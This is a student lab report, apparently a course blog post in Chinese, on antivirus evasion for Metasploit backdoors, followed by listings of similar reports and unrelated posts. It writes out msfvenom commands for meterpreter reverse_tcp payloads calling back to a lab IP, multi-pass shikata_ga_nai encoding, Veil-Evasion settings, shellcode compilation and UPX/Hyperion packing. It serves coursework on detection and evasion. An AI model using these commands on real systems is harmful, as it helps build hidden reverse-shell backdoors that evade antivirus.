Exp3 免杀原理与实践

20164321 王君陶

1实验要求

1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

1.2 通过组合应用各种技术实现恶意代码免杀(0.5分) (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

2实验步骤

检测工具:

https://www.virustotal.com/

http://www.virscan.org/

首先使用VirusTotal或Virscan这两个网站对上次实验生成的后门程序进行扫描。

virustotal

virscan

2.1任务一

2.1.1正确使用msf编码器,生成exe文件

使用msf编码器对后门程序进行一次到多次的编码,并进行检测。

一次编码命令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.253.128 LPORT=4321 -f exe > met-encoded.exe

利用之前实验所学,将生成的met-encoded.exe传到windows中的ncat文件中再进行检测。

利用virustotal扫描

十次编码命令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.253.128 LPORT=4321 -f exe > met-encoded10.exe

利用virustotal扫描

2.1.2 msfvenom生成jar文件

成java后门程序使用命令: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.253.128 LPORT=4321 x> 4321_backdoor_java.jar

利用virustotal扫描

2.1.3 msfvenom生成php文件

生成php后门程序使用命令: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.253.128 LPORT=4321 x> 4321_backdoor.php

(前一个问题就是lport前面少一个空格导致生成的0kb文件,不能粗心啊!)

利用virustotal扫描

2.1.4 使用veil-evasion生成后门程序及检测

这里安装veil多次失败,没办法,拷了同学的kail直接进行试验。

输入命令veil

输入use evasion命令进入Evil-Evasion

输入命令use c/meterpreter/rev_tcp.py进入配置界面

设置反弹连接IP:set LHOST 192.168.253.128 设置端口:set LPORT 4321

再输入options进行展示修改结果

输入generate生成文件

输入payload的名字:veil_c_4321

按enter继续

利用virustotal扫描

2.1.5 半手工注入Shellcode并执行

首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.238 LPORT=4321 -f c用c语言生成一段shellcode

把上面的数组拿来编写一个程序,用vi 4321_shellcode.c命令新建一个c文件,将生成的shellcode粘贴到其中,并在之后添加主函数

进入编辑器进行编辑

再用i686-w64-mingw32-g++ 20164321_shellcode.c -o 20164321_shellcode.exe命令生成可执行文件

利用virustotal扫描

实现与杀软共存

生成shellcode半手工打造,而不是通过msfvenom指令生成一个可执行文件,风险已经降低了不少,但是仍被定性为病毒文件,所以需要进一步考虑修改代码。

2.1.6 加壳

加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。

加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。

加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。

这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。 MSF的编码器使用类似方法,对shellcode进行再编码。

从技术上分壳分为:

压缩壳

减少应用体积,如ASPack,UPX

加密壳

版权保护,反跟踪。如ASProtect,Armadillo

虚拟机

通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida

2.1.6.1 压缩壳UPX

Kali下输入命令upx 20164321_shellcode.exe -o 20164321_shellcode_upxed.exe

扫描结果

2.1.6.2加密壳Hyperion

进入目录/usr/share/windows-binaries/hyperion/中;输入命令wine hyperion.exe -v 20164321_shellcode_upxed.exe 20164321_shellcode_upxed_Hyperion.exe进行加壳

再传出来进行扫描检测

2.2通过组合应用各种技术实现恶意代码免杀

如任务一中的5与6组合之后,既Shellcode与加壳,组合之后进行反弹连接,并实现了与杀软共存

在windows中点击执行

实现与杀软共存

2.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

免杀失败QAQ

3基础问题回答

3.1杀软是如何检测出恶意代码的?

基于特征码的检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。

启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。

基于行为的恶意软件检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

3.2免杀是做什么?

免杀就是让安插的后门不被AV(Anti-virus)软件发现。一般是对恶意软件做处理,让它不被杀毒软件所检测。免杀也是渗透测试中需要使用到的技术。

3.3免杀的基本方法有哪些?

改变特征码

如果你手里只有EXE

加壳:压缩壳 加密壳

shellcode(Meterpreter

用encode进行编码 基于payload重新编译生成可执行文件

有源代码

用其他语言进行重写再编译(veil-evasion)

改变行为

通讯方式

尽量使用反弹式连接 使用隧道技术 加密通讯数据

操作模式

基于内存操作 减少对系统的修改 加入混淆作用的正常功能

非常规方法

使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中 使用社工类攻击,诱骗目标关闭AV软件 纯手工打造一个恶意软件

3.4开启杀软能绝对防止电脑中恶意代码吗?

从这次的实验可以看出来,杀软是不能绝对防止电脑中的恶意代码的,比如说在VirusTotal或Virscan这两个网站中测试的时候,就发现有很多杀毒软件无法检测出恶意代码,毕竟道高一尺魔高一丈,随着病毒库的不断更新,恶意代码也在不断通过各种方法来使自己免杀,所以说杀软是不能绝对防止电脑中的恶意代码的。

4实验遇到的问题

在这次实验之中遇到的最大问题就是安装不上veil,刚开始因为坑爹的学校网,下载速度极慢,下载完成之后,解压又出现问题,实在没办法,找张哲键同学直接把他完成实验的虚拟机拷过来了,然后才进行的实验。

5实验心得

这次实验让我的最大体会就是腾讯管家是真的辣鸡啊,windows defender和火绒都可以杀掉的恶意代码,腾讯管家就不行,之前还在自己电脑装上了腾讯管家感觉电脑安全万无一失,实际发现这个做法非常之蠢,不如不装杀软,用windows自带的windows defender呢,赶紧卸载一波!。

Exp3 免杀原理与实践 20164321 王君陶的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. final修饰符:

    知识点: 1.final关键字用于修饰类.变量和方法 2.有点类似C#里的 sealed 关键字,用于表示它修饰的方法.变量和类不可以再被改变 3.final修饰变量时,表示该变量一旦获取了初始值,就 ...

  2. vue.js项目打包上线

    最近一直坚持每个月写一个小的vue.js 开发的项目,最后开发完成后想到很久之前给别人回答的一个问题:vue的项目如何上线,当时有千奇百怪的回答,我在想,这些人都是肿了么,vue的官方都说了,这个框架 ...

  3. 2017年值得一看的7个APP设计

    新媒体时代蓬勃发展,各类APP如雨后春笋般出现.下载到合适的APP,不仅衣食住行一键搞定,甚至健身.社交.阅读等需求也能足不出户地满足.对于广大“吃瓜群众”来说,选择APP是个人需求以及跟随潮流的选择 ...

  4. sublime3 多行编辑.摘抄

    Sublime text 3是一个非常强大的网站编辑工具. 这里小云深深的被它的快速编辑多行内容功能所吸引. 先说下,使用下面的功能要安装一个叫emmet的插件.没有的话,自行度娘吧. 下面就来看下具 ...

  5. part1:12-sudo用户管理和Linux密码故障排除

    sudo用户管理 权力下放! 1.Root密码破解步骤 a.在系统启动时,迅速按下任意键或回车键.进入grub选项菜单 b.在grub选项菜单按e进入编辑模式,上下选择kernel行.然后按e进入编辑 ...

  6. RNA分析要点

    1. 有参与无参转录组分析 2. lncRNA分析 以RNA-Seq测序技术为基础的转录组测序作为高通量测序时代核心技术之一,已在生物科学及医学领域前沿研究中获得广泛应用.RNA-Seq可进行全基因组 ...

  7. 【Linux】Jenkins配置和使用(二)

    摘要 本章介绍Jenkins的简单使用,关于Jenkins的安装,参照[Linux]Jenkins安装(一) 事例说明:在linux环境下,安装的jenkins,集成svn,tomcat的环境,项目是 ...

  8. 20155328 2016-2017-2 《Java程序设计》第7周学习总结

    20155328 2016-2017-2 <Java程序设计>第7周学习总结 教材学习内容总结 时区 Date与DateFormat Date只用来获取epoch毫秒数 DateForma ...

  9. 2018.10.19 NOIP训练 游戏问题(分组背包)

    传送门 分组背包经典问题. 令f[i][j]f[i][j]f[i][j]表示前iii组花费为jjj的最优值. g[i][j]g[i][j]g[i][j]表示前iii组,第iii组已经支付了平台费用的最 ...

  10. 2018.07.03 HDU Rikka with Phi(线段树)

    Rikka with Phi Time Limit: 16000/8000 MS (Java/Others) Memory Limit: 131072/131072 K (Java/Others) P ...